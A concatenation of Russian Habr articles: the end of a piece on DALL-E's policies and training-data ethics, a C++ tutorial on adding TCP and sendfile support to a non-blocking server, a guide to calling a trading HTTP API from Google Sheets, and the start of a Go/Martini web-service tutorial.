В дополнение к своим [политикам API](https://openai.com/api/policies/) у OpenAI есть общедоступная [политика в отношении контента](https://labs.openai.com/policies/content-policy) и документы с [условиями использования](https://labs.openai.com/policies/terms), которые, по-видимому, относятся к DALL-E. У меня нет юридического образования, но суть их, по-видимому, в том, чтобы «не быть недоброжелательными, подлыми или отвратительными». Такие правила легко соблюдать, работая только с пейзажами и архитектурой. Некоторые ограничения кажутся неудачными с точки зрения создания развлекательной фантастики: могу ли я создать окровавленный носовой платок, автомобильную аварию или [что-нибудь похуже](https://www.youtube.com/watch?v=QH-NmmPFWv0)? Наверное, нет. Что-нибудь с оружием? Конечно, нет. Впрочем, их тоже можно понять.
Больше всего беспокоит и, вероятно, мешает реализации некоторых творческих проектов пункт 6 условий использования. “Право собственности по наследованию”. Я интерпретирую этого так: сгенерированные изображения являются собственностью OpenAI. Однако они обещают не отстаивать авторские права, если вы будете соблюдать другие их политики (которые, предположительно, могут измениться). Если вы делаете долгосрочную творческую работу, особенно что-то вроде игры, которая может включать темы для взрослых, это кажется рискованным предложением. Я бы не взялся за такой проект, не обратившись за разъяснениями.
### Вопрос этики
Ах да, этика. Много вопросов вызывает неправильное использование, но OpenAI излишне осторожничают. В любом случае наш вариант использования DALL-E нельзя назвать гнусным.
Что более актуально для нас, так это закрытый обучающий набор данных и то, что он может содержать тонны ранее «открытых», но защищённых авторским правом материалов, или просто изображений, автор которых не хотел, чтобы они использовались таким образом. Мы говорим о полумиллиарде изображений, а соответствующие исследования и сообщения в блогах либо [ссылаются на парсинг,](https://arxiv.org/abs/2103.00020) либо прямо упоминают об этом. Поиски не увенчались особым успехом, но я обнаружил интересный [открытый вопрос](https://github.com/OpenAI/CLIP/issues/254). Итак, может ли это быть неуважительным или даже оскорбительным?
Общая защита утверждает, что модель учится на тренировочном наборе так же, как и человек. Подразумевается, что человеческие правила (предположительно с [исключениями для человека](https://en.wikipedia.org/wiki/Clean_room_design)) должны применяться к её выходным данным. На первый взгляд, это может показаться разумным аргументом, но он явно ошибочен и поверхностен, поскольку DALL-E не похож на человека. Он может владеть выходными данными (или передать своё право собственности OpenAI) не больше, чем ими владеет реляционная база данных.
Лучший аргумент в данном случае таков: процесс обучения настолько сильно искажает входные данные, что невозможно восстановить исходное изображение. Вам не нужно глубоко понимать процесс, чтобы понять, что в этом есть смысл: есть терабайты обучающих данных, а на выходе модель выдаёт только гигабайты. Выходит, это трансформирующий ремикс и потенциально добросовестное/этичное использование.
У меня болит голова при мыслях об этом, особенно потому, что подобное происходит и [в моей отрасли](https://www.fsf.org/blogs/licensing/fsf-funded-call-for-white-papers-on-philosophical-and-legal-questions-around-copilot). Я ещё не пришёл к определённому выводу, но в целом думаю, что важно сосредоточиться на чистой пользе, которую могут принести технологии и совместное использование, а ещё на том, как можно справедливо распределить выгоды (и обязательства).
### Нейросети перевернут мир?
Ну, не весь мир. Но что-то точно перевернут. Нейросети развивались очень быстро за последние пару лет, и похоже, DALL-E 2 уже не самая свежая новость. Мой друг пошутил, что нам посчастливилось жить в поистине глобальную эпоху с минимальным количеством белых пятен на карте и постоянным потоком достаточно точной информации. Он имел в виду, что в недалёком прошлом было множество белых пятен, а недалёкое будущее будет переполнено крайне правдоподобной хренью. Мы посмеялись над этим, но здесь есть над чем подумать.
"Космический корабль с надписью "copyleft" на боку, пилотируемый кошками, реалистичное фото"
---
**Что ещё интересного есть в блоге Cloud4Y**
→ [Как открыть сейф с помощью ручки](https://habr.com/ru/company/cloud4y/blog/670048/)
→ [Сделайте Linux похожим на Windows 95](https://habr.com/ru/company/cloud4y/blog/653949/)
→ [Как распечатать цветной механический телевизор на 3D-принтере](https://habr.com/ru/company/cloud4y/blog/668962/)
→ [WD-40: средство, которое может почти всё](https://habr.com/ru/company/cloud4y/blog/595493/)
→ [Изобретатели, о которых забыли](https://habr.com/ru/company/cloud4y/blog/682862/)
Подписывайтесь на наш [Telegram](https://t.me/cloud4y)-канал, чтобы не пропустить очередную статью. Пишем только по делу. А ещё напоминаем про второй сезон нашего сериала ITить-колотить. Его можно посмотреть на [YouTube](https://youtu.be/8arneYYzsJw)и [ВКонтакте](https://vk.com/video/playlist/-114833493_1).
Свежая серия | https://habr.com/ru/post/683282/ | null | ru | null |
# Кроссплатформенный сервер с неблокирующими сокетами. Часть 4
Эта статья продолжает мои предыдущие:
[Простейший кросcплатформенный сервер с поддержкой ssl](http://habrahabr.ru/post/211474/)
[Кроссплатформенный https сервер с неблокирующими сокетами](http://habrahabr.ru/post/211661/)
[Кроссплатформенный https сервер с неблокирующими сокетами. Часть 2](http://habrahabr.ru/post/211853/)
[Кроссплатформенный https сервер с неблокирующими сокетами. Часть 3](http://habrahabr.ru/post/212101/)
В своих статьях я поэтапно расписываю процесс создания однопоточного кроссплатформенного сервера на неблокирующих сокетах.
Во всех предыдущих статьях, сервер принимал и отправлял сообщения только по ssl протоколу. В этой статье я опишу добавление в сервер поддержки обычного нешифрованного tcp протокола и научу сервер отправлять в браузер графический файл.
Но сначала немного пройдусь по комментариям к предыдущим статьям.
1. Я послушал советов избавиться от функции printf в пользу std::cout.
2. Умные люди доказали мне, что std::memcpy и std::copy для компилятора одно и то же.
Мне memcpy удобней, поэтому буду продолжать пользоваться ей.
3. [Я перенес все ранние релизы и буду переносить будущие на GitHub](https://github.com/3s3s/simple_server/), хотя клиент для Windows у них, на мой взгляд, ужасен.
4. Кто считает, что строчки
```
const char on = 1;
setsockopt(listen_sd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on) );
```
помогут избежать ошибки «Address already in use» при аварийном перезапуске сервера — жестоко ошибаются. Не помогут.
5. Тем, кто считает, что разные классы всегда нужно разносить по разным файлам, подолью масла: я хочу перенести класс CClient в приватную секцию класса CServer!
Было:
```
CClient
{
***
};
CServer
{
***
};
```
Стало:
```
CServer
{
CClient
{
***
};
***
};
```
Теперь, если сервер станет библиотекой, ни у кого не должно возникнуть мысли об использовании класса CClient: это служебный класс, предназначенный исключительно для взаимодействия с классом CServer.
6. И еще на мой взгляд, функция main() — атавизм, доставшийся программистам от СИ. В С++ она лишняя. Но компиляторы пока этого не знают к сожалению.
Но я решил «наказать» эту ненужную функцию, отобрав у нее возможность что-либо сделать — изменил файл serv.cpp следующим образом:
```
#include "server.h"
const server::CServer s(8085, 1111);
int main() {return 0;}
```
Теперь о главном…
#### Добавление в сервер поддержки нешифрованных tcp соединений
Нешифрованные и шифрованные соединения в серверах обычно принимаются на разные порты поэтому первое, что нужно сделать — это изменить конструктор сервера и добавить переменных, для еще одного слушающего сокета.
Вместо
```
struct epoll_event m_ListenEvent;
```
пишем в классе сервера
```
struct epoll_event m_ListenEventTCP, m_ListenEventSSL;
```
В конструкторе сервера добавим номера портов и код для линукса, который не позволит аварийно завершиться серверу в случае ошибки в TCP операциях:
```
CServer(const int nPortTCP, const int nPortSSL)
{
#ifndef WIN32
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
sigaction(SIGPIPE, &sa, NULL);
#else
WSADATA wsaData;
if ( WSAStartup( MAKEWORD( 2, 2 ), &wsaData ) != 0 )
{
cout << "Could not to find usable WinSock in WSAStartup\n";
return;
}
#endif
```
Напишем отдельные функции для инициации слушающих сокетов и для добавления нового клиента:
```
private:
void InitListenSocket(const int nPort, struct epoll_event &eventListen)
{
SOCKET listen_sd = socket (AF_INET, SOCK_STREAM, 0);
SET_NONBLOCK(listen_sd);
const char on = 1;
setsockopt(listen_sd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on) );
struct sockaddr_in sa_serv;
memset (&sa_serv, '\0', sizeof(sa_serv));
sa_serv.sin_family = AF_INET;
sa_serv.sin_addr.s_addr = INADDR_ANY;
sa_serv.sin_port = htons (nPort); /* Server Port number */
int err = ::bind(listen_sd, (struct sockaddr*) &sa_serv, sizeof (sa_serv));
if (err == -1)
{
cout << "bind error = " << errno << "\n";
return;
}
/* Receive a TCP connection. */
err = listen (listen_sd, SOMAXCONN);
eventListen.data.fd = listen_sd;
eventListen.events = EPOLLIN | EPOLLET;
epoll_ctl (m_epoll, EPOLL_CTL_ADD, listen_sd, &eventListen);
}
void AcceptClient(const SOCKET hSocketIn, const bool bIsSSL)
{
cout << "AcceptClient";
struct sockaddr_in sa_cli;
size_t client_len = sizeof(sa_cli);
#ifdef WIN32
const SOCKET sd = accept (hSocketIn, (struct sockaddr*) &sa_cli, (int *)&client_len);
#else
const SOCKET sd = accept (hSocketIn, (struct sockaddr*) &sa_cli, (socklen_t *)&client_len);
#endif
if (sd != INVALID_SOCKET)
{
cout << "Accepted\n";
//Добавляем нового клиента в класс сервера
m_mapClients[sd] = shared_ptr(new CClient(sd, bIsSSL));
auto it = m\_mapClients.find(sd);
if (it == m\_mapClients.end())
return;
//Добавляем нового клиента в epoll
struct epoll\_event ev = it->second->GetEvent();
epoll\_ctl (m\_epoll, EPOLL\_CTL\_ADD, it->first, &ev);
}
}
```
Теперь в клиенте добавим переменную m\_bIsSSL, которую будем инициировать в конструкторе, а потом изменим callback функции так, чтобы они могли работать с TCP соединениями:
Вместо
```
const RETCODES AcceptSSL()
{
if (!m_pSSLContext) //Наш сервер предназначен только для SSL
return RET_ERROR;
```
Тепрь будет:
```
const RETCODES AcceptSSL()
{
cout << "AcceptSSL\n";
if (!m_bIsSSL) return RET_READY;
if (!m_pSSLContext)
return RET_ERROR;
```
Как видим, проще некуда: TCP функция accept не требует никаких дополнительных телодвижений для того, чтобы начать принимать и отдавать данные.
Никаких сертификатов для TCP не нужно, поэтому начало соответствующей функции будет теперь выглядеть так:
```
const RETCODES GetSertificate()
{
cout << "GetSertificate\n";
if (!m_bIsSSL) return RET_READY;
```
В функции, читающей данные от клиента ContinueRead() нужно вместо
```
unsigned char szBuffer[4096];
const int err = SSL_read (m_pSSL, szBuffer, 4096); //читаем данные от клиента в буфер
```
написать код:
```
static char szBuffer[4096];
//читаем данные от клиента в буфер
int err;
if (m_bIsSSL)
err = SSL_read (m_pSSL, szBuffer, 4096);
else
{
errno = 0;
err = recv(m_hSocket, szBuffer, 4096, 0);
}
m_nLastSocketError = GetLastError(err);
```
В этой же функции нужно теперь добавить код обработки ошибок для TCP соединения. Как и в случае SSL, ошибкой будет
если функция приема сообщения вернет отрицательное или нулевое значение. Но так как у нас неблокирующие сокеты,
то ошибка WSAEWOULDBLOCK в Windows и EWOULDBLOCK в Linux означает, что все нормально, просто нужно еще подождать.
Добавим такие макросы:
```
#ifndef _WIN32
#define S_OK 0
#define WSAEWOULDBLOCK EWOULDBLOCK
#define WSAGetLastError() errno
#endif
```
И такой код в функцию ContinueRead:
```
if (!m_bIsSSL)
{
if ((err == 0) || ((m_nLastSocketError != WSAEWOULDBLOCK) && (m_nLastSocketError != S_OK)))
return RET_ERROR;
}
else
{
if ((err == 0) || ((m_nLastSocketError != SSL_ERROR_WANT_READ) && (m_nLastSocketError != SSL_ERROR_WANT_WRITE)))
return RET_ERROR;
}
```
а функцию CClient::GetLastError мы определим так
```
private:
int GetLastError(int err) const
{
if (m_bIsSSL)
return SSL_get_error(m_pSSL, err);
else
return WSAGetLastError();
}
```
Совершенно аналогичным образом исправим функцию отправки сообщений ContinueWrite и наш однопоточный кроссплатформенный сервер готов для приема tcp и ssl соединений от клиентов, чтобы отдать им заголовки запроса.
Давайте еще научим сегодня наш сервер отдавать клиентам файлы.
В принципе ничего в этом особенного нет если не считать, что в Linux для отправки файла есть более быстрый способ чем в других системах: функция sendfile.
Чтобы код был единообразным, я предлагаю поступить с sendfile так же, как мы поступали с epoll: написать эмулятор этой функции для всех систем кроме Linux.
##### Эмуляция функции sendfile
1. Создадим пустые файлы «sendfile.h», «sendfile.cpp» и добавим их в проект Visual Studio.
2. В sendfile.h поместим такой код:
```
#ifndef __linux__
#ifndef _SENDFILE_H
#define _SENDFILE_H
#include
unsigned long long sendfile(int out\_fd, int in\_fd, off\_t \*offset, size\_t count);
#endif
#endif
```
3. В sendfile.cpp поместим такой:
```
#include
#include
#pragma comment(lib, "ws2\_32.lib")
#endif
unsigned long long sendfile(int out\_fd, int in\_fd, off\_t \*offset, size\_t count)
{
static unsigned char buffer[4096];
if (count > 4096)
count = 4096;
off\_t lPos = \_lseek(in\_fd, \*offset, SEEK\_SET);
if (lPos == -1)
return -1;
const int nReaded = \_read(in\_fd, buffer, count);
if (nReaded == 0)
return nReaded;
if (nReaded == -1)
return -1;
\*offset += nReaded;
errno = 0;
const int nSended = send(out\_fd, (const char \*)buffer, nReaded, 0);
if (nSended != SOCKET\_ERROR)
return nSended;
if (WSAGetLastError() != WSAEWOULDBLOCK)
return -1;
return 0;
}
#endif
```
4. Добавим в класс сервера необходимые включения так, чтобы в Linux использовались стандартные функции, а в остальных системах — наши.
Кроме этого, добавим включение для работы с файлами и определим путь к файлу, который будем посылать клиенту:
```
#ifdef __linux__
#include
#include
#define O\_BINARY 0
#else
#include "epoll.h"
#include "sendfile.h"
#endif
#include
#define SEND\_FILE "./wwwroot/festooningloops.jpg"
```
C эмуляцией sendfile закончили.
##### Посылаем файл
5. Добавим в класс клиента файловый дескриптор и текущую позицию
```
class CClient
{
int m_nSendFile;
off_t m_nFilePos;
unsigned long long m_nFileSize;
```
6. Изменяем функцию InitRead()
```
const RETCODES InitRead()
{
if (m_bIsSSL && (!m_pSSLContext || !m_pSSL))
return RET_ERROR;
m_nSendFile = _open(SEND_FILE, O_RDONLY|O_BINARY);
if (m_nSendFile == -1)
return RET_ERROR;
struct stat stat_buf;
if (fstat(m_nSendFile, &stat_buf) == -1)
return RET_ERROR;
m_nFileSize = stat_buf.st_size;
//Добавляем в начало ответа http заголовок
std::ostringstream strStream;
strStream <<
"HTTP/1.1 200 OK\r\n"
<< "Content-Type: image/jpeg\r\n"
<< "Content-Length: " << m_nFileSize << "\r\n" <<
"\r\n";
//Запоминаем заголовок
m_vSendBuffer.resize(strStream.str().length());
memcpy(&m_vSendBuffer[0], strStream.str().c_str(), strStream.str().length());
return RET_READY;
}
```
7. Добавляем функции для посылки файла по протоколам tcp и ssl:
```
const RETCODES SendFileSSL(const int nFile, off_t *offset)
{
if (nFile == -1 || m_vSendBuffer.size())
return ContinueWrite();
if (!m_bIsSSL || !m_pSSLContext || !m_pSSL)
return RET_ERROR;
static unsigned char buffer[4096];
off_t lPos = _lseek(nFile, *offset, SEEK_SET);
if (lPos == -1)
return RET_ERROR;
const int nReaded = _read(nFile, buffer, 4096);
if (nReaded == -1)
return RET_ERROR;
if (nReaded > 0)
{
*offset += nReaded;
m_vSendBuffer.resize(nReaded);
memcpy(&m_vSendBuffer[0], buffer, nReaded);
}
return RET_WAIT;
}
const RETCODES SendFileTCP(const int nFile, off_t *offset)
{
if (nFile == -1 || m_vSendBuffer.size())
return ContinueWrite();
const unsigned long long nSended = sendfile(m_hSocket, nFile, offset, 4096);
if (nSended == (unsigned long long)-1)
return RET_ERROR;
m_nLastSocketError = WSAEWOULDBLOCK;
return RET_WAIT;
}
const bool IsAllWrited() const
{
if (m_nSendFile == -1 && m_vSendBuffer.size())
return true;
if (m_nFileSize == (unsigned long long)m_nFilePos)
return true;
return false;
}
```
8. Изменяем логику callback функции клиента:
```
case S_WRITING:
{
if (!m_bIsSSL && (SendFileTCP(m_nSendFile, &m_nFilePos) == RET_ERROR))
return false;
else if (m_bIsSSL && (SendFileSSL(m_nSendFile, &m_nFilePos) == RET_ERROR))
return false;
if (IsAllWrited())
SetState(S_ALL_WRITED, pCurrentEvent);
return true;
}
```
Наш сервер готов!
Теперь он умеет отправлять не только буфер, но и файлы. Возможно кто-то заметил, что в классе клиента добавилась переменная «m\_nLastSocketError»…
Дело в том, что в предыдущих версиях сервера мы всегда ждали от сокетов любых событий, теперь переменная m\_nLastSocketError поможет нам модифицировать функцию CClient::SetState так, чтобы функция epoll
от сокетов ждала только тех событий, которые нужны в данный момент.
```
void SetState(const STATES state, struct epoll_event *pCurrentEvent)
{
m_stateCurrent = state;
pCurrentEvent->events = EPOLLERR | EPOLLHUP;
if (m_bIsSSL)
{
if (m_nLastSocketError == SSL_ERROR_WANT_READ)
pCurrentEvent->events |= EPOLLIN;
if (m_nLastSocketError == SSL_ERROR_WANT_WRITE)
pCurrentEvent->events |= EPOLLOUT;
return;
}
if (m_nLastSocketError == WSAEWOULDBLOCK)
{
if (m_stateCurrent == S_READING)
pCurrentEvent->events |= EPOLLIN;
if (m_stateCurrent == S_WRITING)
pCurrentEvent->events |= EPOLLOUT;
return;
}
pCurrentEvent->events |= EPOLLIN | EPOLLOUT;
}
```
Все готово!
*Для компиляциив Visual Studio 2012*, откройте файл ssl\_test.sln и компилируйте.
*Для компиляции в Linux* файлы epoll.h, epoll.cpp, sendfile.h и sendfile.cpp **не нужны**, чтобы все работало достаточно скопировать в одну директорию файлы: serv.cpp, server.h, ca-cert.pem, создать директорию wwwroot и скопировать туда файл ./wwwroot/festooningloops.jpg, потом в командной строке набрать: «g++ -std=c++0x -L/usr/lib -lssl -lcrypto serv.cpp» Кто зачем-то хочет видеть предупреждения компилятора, добавьте ему опцию -Wall.
Проверить работу сервера на локальном компьютере можно, запустив сервер и набрав в адресной строке браузера
`localhost:1111`
или
`localhost:8085` | https://habr.com/ru/post/213301/ | null | ru | null |
# Что нам стоит автоматизацию построить. Использование HTTP API в Google Sheets
В эпоху повальной автоматизации пользователям хочется «нажать на кнопку и получить ответ». Ну или дополнительно немного подвигать мышкой. Автоматизация же отчетов и других штук, которые удобно представить в виде таблички, часто строится в Excel с использованием своих макросов или же просто встроенных формул. Плагинами к Excel нынче никого уже не удивишь, кстати, у нас такой [тоже есть](https://exante.eu/ru/press/news/581/), но это предмет отдельной статьи. А как насчет Google Sheets? Ранее мой коллега [рассказывал](https://habrahabr.ru/company/exante/blog/318272/), как можно прикрутить наше API к Telegram, я же попробую рассказать, как использовать его в гуглотаблицах.
Под катом чуть-чуть кода и много костылей.
Работать мы будем, очевидно, в браузере. Для написания своих функций будем использовать [Google Apps Script](https://developers.google.com/apps-script/), который по синтаксису подозрительно похож на урезанный javascript. Исходим из принципа, что кодить мы не умеем, а читать документацию не хотим, зато активно используем подходы, изложенные в технике Stackoverflow Driven Development.
Если вы начинающий трейер, то предлагаем вам почитать [тут](https://www.facebook.com/gde.tvoi.dengi/).
Подготовка
----------
Для начала [получаем доступ к API](https://developers.exante.eu/). Бесплатно (если только аккаунт-менеджеры не замучают звонками) и без смс, но с регистрацией. Документацию читать не будем (все равно там картинок нет), а токен для доступа мы сгенерируем руками через [jwt.io](https://jwt.io/#debugger). Почему руками? Потому что токен, генерируемый нашим сайтом, истекает через час. Это полезно, например, для использования на вебсайте, но для нормальной работы в Sheets мы хотим, чтобы он жил дольше, допустим, год. Подробнее о процедуре создания токена можно почитать [здесь](https://developers.exante.eu/tutorials/auth-basics/).
Работа с API
------------
Теперь создаем пустую таблицу и идем в редактор скриптов; если кто не знает, попасть туда можно путем вызова **Tools** → **Script editor**. В редакторе объявим несколько глобальных переменных:
```
var BASE_URL_API = "/md/1.0";
var BASE_URL_HOST = "https://api-demo.exante.eu";
var BASE_URL = BASE_URL_HOST + BASE_URL_API;
var TOKEN = "your-token-from-jwt-io";
```
Также зададим функции для работы с запросами:
```
function _payload() {
return {
"method": "get",
"headers": {
"Authorization": "Bearer " + TOKEN
}
};
}
function _parse(url) {
var response = UrlFetchApp.fetch(url, _payload());
var code = result.getResponseCode();
if (code != 200)
throw new Error(response.message);
return JSON.parse(response.getContentText());
}
```
Подробнее про `UrlFetchApp` и его аргументы можно почитать [здесь](https://developers.google.com/apps-script/reference/url-fetch/url-fetch-app). Дополнительно мы вылавливаем коды, отличные от 200, и показываем пользователю «человекочитаемую» ошибку из запроса.
Статическая информация из API
-----------------------------
Сейчас попробуем прикрутить несколько вызовов [нашего API](https://developers.exante.eu/api/). Здесь все-таки пришлось открыть документацию и убедиться, что красивых картинок там действительно нет.
Для начала напишем метод, реализующий запрос финансовых инструментов. Как мне подсказывают, для экономии трафика информацию об инструментах разделили в два конца — `/symbols/:symbolId` и `/symbols/:symbolId/specification`:
```
var SYMBOL_SPEC_FIELDS = ["leverage", "lotSize", "contractMultiplier", "priceUnit", "units"];
function EXANTESYMBOL(symbol, field) {
var url = BASE_URL + "/symbols/" + encodeURIComponent(symbol);
if (field in SYMBOL_SPEC_FIELDS)
url += "/specification";
return _parse(url)[field];
}
```
Здесь и далее имя финансового инструмента (`symbol`) должно кодироваться, хотя бы потому что может содержать странные символы, например, `/`.
Затем создадим аналогичные методы для работы с [опционами](https://ru.insider.pro/academy/options/chto-takoe-opciony/) и [фьючерсами](https://ru.insider.pro/academy/futures/chto-takoe-fyuchersy/).
```
function EXANTEGROUP(group, field) {
var url = BASE_URL + "/groups/" + group;
return _parse(url)[field];
}
function EXANTEGROUPNEAREST(group, field) {
var url = BASE_URL + "/groups/" + group + "/nearest";
return _parse(url)[field];
}
```
Котировки и «свечки»
--------------------
Свечки — это такой [специальный индикатор](https://ru.wikipedia.org/wiki/%D0%AF%D0%BF%D0%BE%D0%BD%D1%81%D0%BA%D0%B8%D0%B5_%D1%81%D0%B2%D0%B5%D1%87%D0%B8) на финансовых графиках. Для понимания того, что мы делаем, достаточно знать, что одна «свечка» представлена четырьмя значениями — `[цена_на_начало_интервала, максимальная_цена_в_интервал, минимальная_цена_в_интервал, цена_на_конец_интервала]`. Интервал у нас задается в секундах, в общем виде функция будет выглядеть так:
```
function EXANTEOHLC(symbol, duration, what) {
var url = BASE_URL + "/ohlc/" + encodeURIComponent(symbol) + "/" + duration + "?size=1";
return _parse(url)[0][what];
}
```
Тогда запрос наподобие `EXANTEOHLC("EUR/USD.E.FX", 60, "high")` вернет нам максимальную цену за последнюю минуту.
С котировками чуть сложнее. На момент написания статьи единственное API для получения котировок — это стрим, который неудобно использовать в Apps Script. (Кстати, обещают добавить новое API для единичной котировки в будущих релизах). Поэтому пришлось накостылить решение из имеющихся средств. По построению, `close` незакрытой свечки (то есть за текущие минуту/час/день) — это среднее между последними пришедшими ценами покупки и продажи, поэтому:
```
function EXANTEMID(symbol) {
return EXANTEOHLC(symbol, 60, "close");
}
```
Для полного счастья можно еще сделать функцию конвертации из одной валюты в другую:
```
function EXANTECROSSRATES(from, to) {
var url = BASE_URL + "/crossrates/" + from + "/" + to;
return _parse(url)["rate"];
}
```
Использование
-------------
Теперь мы попробуем использовать наши функции как обычные методы в Excel. Первая же проблема, с которой мы столкнемся — это обновление значений. Дело в том, что Google считает, что нет нужды часто пересчитывать пользовательскую функцию, если параметры не изменились. В случае котировок, которые предполагаются как «live», это немного критично. Для обхода данной проблемы добавим еще один «изменчивый» (а на самом деле нет), но не используемый аргумент в наши функции `EXANTEOHLC`, `EXANTECROSSRATES` и `EXANTEMID` и назовем его `timestamp`:
```
function EXANTECROSSRATES(from, to, timestamp) {
var url = BASE_URL + "/crossrates/" + from + "/" + to;
return _parse(url)["rate"];
}
function EXANTEOHLC(symbol, duration, what, timestamp) {
var url = BASE_URL + "/ohlc/" + encodeURIComponent(symbol) + "/" + duration + "?size=1";
return _parse(url)[0][what];
}
function EXANTEMID(symbol, timestamp) {
return EXANTEOHLC(symbol, 60, "close", timestamp);
}
```
Теперь реализуем функцию, которая будет генерировать этот `timestamp`.
```
function EXANTEUPDATE() {
SpreadsheetApp.getActiveSheet().getRange('A1').setValue(new Date().toTimeString())
SpreadsheetApp.flush();
}
```
Обратите внимание, что мы нагло приватизировали ячейку `A1`, а заодно и потребовали дополнительных прав на модификацию листа. Для повышения безопасности [гугл рекомендует](https://developers.google.com/apps-script/guides/services/authorization) вставить `@OnlyCurrentDoc`, чтобы скрипт не просил права сразу на все документы:
```
/**
* @OnlyCurrentDoc
*/
```
Кстати, на первый взгляд, можно было бы просто использовать функцию `NOW()` (она одна из немногих умеет пересчитываться раз в минуту, при наличии специальной галочки в настройках Юзабилити), но ее значение нельзя передать в пользовательскую функцию, печаль.
Для автоматического обновления данных раз в минуту можно создать триггер для написанной функции в **Edit** → **Current project's triggers**:
Для полного пользовательского счастья дополнительно можно добавить кнопку (делается в нашей табличке через **Insert** → **Drawing...**) и связать ее с функцией `EXANTEUPDATE`.
О, кажется, теперь с этим можно работать. Давайте попробуем взять ближайший фьючерсный контракт на FORTS:Si (который USD/RUB) и посмотреть на его свечки:
Но мы же говорим об автоматизации, почему бы нам не сделать такую табличку для 100 инструментов сразу? Ой...
Но методы обхода этой проблемы я предлагаю найти читателю самостоятельно :) Вероятно, не лучшее, но вполне рабочее решение для однотипных запросов, где мы забираем из JSON только одно поле (например, `EXANTEOHLC`) — использовать кэш в глобальных переменных. Более правильное решение — в одном запросе (например, для свечек) посылать списки из нескольких финансовых инструментов, разделенных запятой.
Документация
------------
Опциональный пункт, который я упустил в ходе повествования. Можно оформить комментарии к функциям в соответствие с [JSDoc](http://usejsdoc.org/) и дополнительно добавить `@customfunction`, например:
```
/**
* mid (average between bid and ask) value
* @param {string} symbol
* symbol ID
* @param {string} [timestamp]
* dummy parameter for update feature
* @returns {number} mid value for specified symbol
* @customfunction
*/
```
В таком случае пользователь увидит красивую справочку о том, как правильно использовать данную функцию, какие аргументы она требует и что возвращает. Следует отметить, что парсит гугл докстринг по своему усмотрению, но в целом очень похоже на JSDoc.
---
На этом все. Кажется, теперь можно пользоваться и опубликовать. Только токен вырежьте :) Исходный код этого «скрипта» можно найти [на гитхабе](https://github.com/exante/google-apps-script-exante-api) под MIT лицензией. | https://habr.com/ru/post/326906/ | null | ru | null |
# Пишем веб сервис на Go (часть первая)
В этой статье, я хотел бы рассказать вам, как можно достаточно быстро и легко написать небольшое веб-приложение на языке Go, который, не смотря на юный возраст, успел завоевать расположение у многих разработчиков. Обычно, для подобных статей пишут искусственные приложения, вроде TODO листа. Мы же попробуем написать что-то полезное, что уже существует и используется.
Часто, при разработке сервисов, нужно понимать какие данные отправляются в другой сервис, а возможность перехватить траффик есть не всегда. И как раз для того, чтобы отлавливать подобные запросы, существует проект [requestb.in](http://requestb.in/), позволяющий собирать запросы по определённому урлу и отображать их в веб-интерфейсе. Написанием подобного же приложения мы и займёмся. Чтобы немного упростить себе задачу, возьмём за основу какой-нибудь фреймворк, например [Martini](http://martini.codegangsta.io/).
В конечном итоге, у нас должен будет получится вот такой вот сервис:
#### Подготовка
Эта статья будет разделена на шаги, каждый из которых будет содержать код, хранящийся в отдельной ветке репозитория на GitHub. Вы всегда сможете запустить и посмотреть результаты, а так же поиграться с кодом.
Для запуска приложения нужно иметь на своей машине компилятор Go. Я исхожу из предположения, что он у вас уже есть и настроен так, как вам удобно. Если же нет, то узнать как это сделать вы можете [на странице проекта](http://golang.org/doc/install).
В качестве среды для разработки, вы можете использовать то, что вам удобнее, благо, плагины для Go есть почти под каждый редактор. Наиболее популярнен [GoSublime](https://github.com/DisposaBoy/GoSublime). Но я бы посоветовал IntelijIdea + [go-lang-ide-plugin](http://plugins.jetbrains.com/plugin/5047), который последнее время очень активно развивается, например из последнего добавленного — дебаг приложения.
Попробовать уже готовый сервис в работе можно по ссылке [skimmer.tulu.la](http://skimmer.tulu.la/).
Для начала работы нужно склонировать репозиторий к себе на машину в какую-нибудь директорию, например так:
```
git clone https://github.com/m0sth8/skimmer ./skimmer
```
Вы можете добавить проект в своё рабочее окружение (подробнее об этом можно прочитать на [сайте проекта](http://golang.org/doc/code.html#Workspaces)), либо организовывать код, как вам удобно. Я же для простоты изложения, использую [goenv](https://github.com/pwoolcoc/goenv), позволяющий указывать версии компилятора go и создавать чистое рабочее окружение в директории проекта.
Теперь нам нужно зайти в склонированную директорию skimmer и установить нужные зависимости командой:
```
go get -d ./src/
```
После завершения установки зависимости, можно запустить проект:
```
go run ./src/main.go
```
У вас должен запуститься веб-сервис на порту 3000 (порт и хост можно указать через переменные окружения PORT и HOST соответственно). Теперь можно открыть его в браузере по адресу 127.0.0.1:3000 и попробовать уже готовый сервис в работе.
Впереди нас ждут следующие этапы:
1. Шаг первый. Знакомство с Martini;
2. Шаг второй. Создаём модель Bin и отвечаем на запросы;
3. Шаг третий. Принимаем запросы и сохраняем их в хранилище;
4. Шаг четвёртый. А как же тесты?
5. Шаг пятый— украшательства и веб-интерфейс;
6. Шаг шестой. Добавляем немного приватности;
7. Шаг седьмой. Очищаем ненужное;
8. Шаг восьмой. Используем Redis для хранения.
Особая благодарность [kavu](https://habrahabr.ru/users/kavu/) за коррекцию первой и второй части статьи.
Приступим к разработке.
#### Шаг первый. Знакомство с Martini.
Загрузим код первого шага:
```
git checkout step-1
```
Для начала попробуем просто вывести запрос, приходящий к нам. Точка входа в любое приложение на Go, это функция main пакета main. Создадим в директории src файл main.go. В Martini уже есть заготовка приложения, добавляющая логи, обработку ошибок, возможность восстановления и роутер; и дабы не повторяться, мы воспользуемся ей.
Сам по себе Martini достаточно прост:
```
// Martini represents the top level web application. inject.Injector methods can be invoked to map services on a global level.
type Martini struct {
inject.Injector
handlers []Handler
action Handler
logger *log.Logger
}
```
Он реализует интерфейс [http.Handler](http://golang.org/pkg/net/http/#Handler), имплементируя метод ServeHTTP. Далее все приходящие запросы пропускаются через различные обработчики, хранящиеся в handlers и в конце выполняет Handler action.
Классический Martini:
```
// Classic creates a classic Martini with some basic default middleware - martini.Logger, martini.Recovery, and martini.Static.
func Classic() *ClassicMartini {
r := NewRouter()
m := New()
m.Use(Logger())
m.Use(Recovery())
m.Use(Static("public"))
m.Action(r.Handle)
return &ClassicMartini{m, r}
}
```
В этом конструкторе создаётся объект типа Martini и Router, в обработчики handler через метод martini.Use добавляется логирование запросов, перехват panic ([подробнее](http://blog.golang.org/defer-panic-and-recover) об этом механизме), отдача статики, и последним действием устанавливается обработчик роутера.
